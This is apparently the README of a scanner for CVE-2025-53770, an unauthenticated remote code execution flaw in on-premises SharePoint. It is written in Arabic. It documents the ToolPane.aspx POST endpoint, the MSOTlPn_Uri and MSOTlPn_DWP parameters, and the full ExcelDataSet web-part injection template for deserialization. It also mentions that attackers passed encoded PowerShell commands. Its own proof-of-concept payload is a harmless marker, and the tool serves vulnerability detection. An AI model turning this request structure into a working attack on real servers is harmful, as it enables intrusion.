CVE-2025-53770

هذه أداة مسح ضوئي لـ ثغرة تنفيذ التعليمات البرمجية عن بُعد غير المصادق عليها في SharePoint، والتي تم تخصيص رقم CVE CVE-2025-53770 لها. تمت كتابة هذا الرمز من خلال الهندسة العكسية لحمولة شوهدت في البرية.

استخدمه على مسؤوليتك الخاصة، لست مسؤولاً عن أي تأثير سلبي قد يسببه.

كيف يعمل؟

يحاول استغلال الثغرة عن طريق حقن علامة في أداة ToolBox الخاصة بـ SharePoint. إذا تم العثور على هذه العلامة غير الضارة في استجابة خادم SharePoint، يتم وضع علامة على المضيف بأنه ضعيف.

كيفية الاستخدام

# التحقق مما إذا كان <TARGET-HOSTNAME> ضعيفًا ومحاولة استخراج معلومات الإصدار
% ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
INFO[0000] set log level                                 fields.level=info
INFO[0000] starting scanner                              targets=1
INFO[0001] detected SharePoint version                   target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable                          target=<REDACTED>

# تشغيل تسجيل النقاش (debug) ومحاولة استرداد معلومات إصدار SharePoint
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME> 
...

من هو الضعيف؟

أي شخص يقوم بتشغيل الإصدار on-prem من خادم SharePoint بدون تحديثي KB5002768 وKB5002754.

كيف تعمل هذه الثغرة؟

من المفترض أن الثغرة تستند إلى ثغرة سبق الكشف عنها لـ SharePoint، وهي CVE-2025-49706. من خلال إرسال طلب HTTP POST إلى https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx مع حمولة مضغوطة بـ GZIP ومشفرة بـ BASE64، يمكنك تحقيق تنفيذ التعليمات البرمجية عن بُعد كعملية وقت تشغيل SharePoint. هناك معلمتان مهمتان للنموذج:

1. MSOTlPn_Uri: مسار مصدر التحكم

يتظاهر هذا بالإشارة إلى عنصر تحكم SharePoint شرعي (AclEditor.ascx)، ويخدع SharePoint للسماح بتحرير جزء الويب. يبدو أن هذه قيمة وهمية/مزيفة فقط لتجاوز التحقق من الصحة. تتضمن الحمولة الخبيثة الأصلية MSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascx، ولكن لا يبدو أنها تُستخدم في هذه المرحلة.

2. MSOTlPn_DWP: تكوين جزء الويب.

تحقن هذه المعلمة توجيهات ASP.NET مخصصة (<%@ Register %>) وترميز من جانب الخادم (<Scorecard:ExcelDataSet>). تحتوي معلمة CompressedDataTable على بيانات متسلسلة يتحكم فيها المهاجم (GZIP + base64)، مما يؤدي إلى تشغيل RCE. تتبع هذه الحمولة هيكلًا معينًا:

<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
  <ProgressTemplate>
    <div class="divWaiting">
      <Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
    </div>
  </ProgressTemplate>
</asp:UpdateProgress>

إذا كان هناك عنصر تحكم مثل Scorecard:ExcelDataSet وتم تعيين خاصية CompressedDataTable الخاصة به، فسيتم إلغاء تسلسله مباشرة بواسطة محلل DWP الخاص بـ SharePoint.

يمكن أن تكون الحمولة نفسها مثيرة للاهتمام، حيث يمكن أن تحتوي على System.DelegateSerializationHolder الذي يؤدي إلى تشغيل RCE عن طريق إلغاء التسلسل. استغل المهاجمون ذلك لتمرير /c powershell -EncodedCommand <POWERSHELL-PAYLOAD> في حمولتهم لتحقيق تنفيذ التعليمات البرمجية. في حالتنا، نمرر ببساطة عنصرًا نائبًا ثابتًا لإثبات قابلية الاستغلال؛

<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
    <bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
        <poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
            <TestWrapper>
                <Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
                <Timestamp>2025-07-21T14:04:52Z</Timestamp>
            </TestWrapper>
        </poc>
    </bar>
</foo>
</diffgr:diffgram>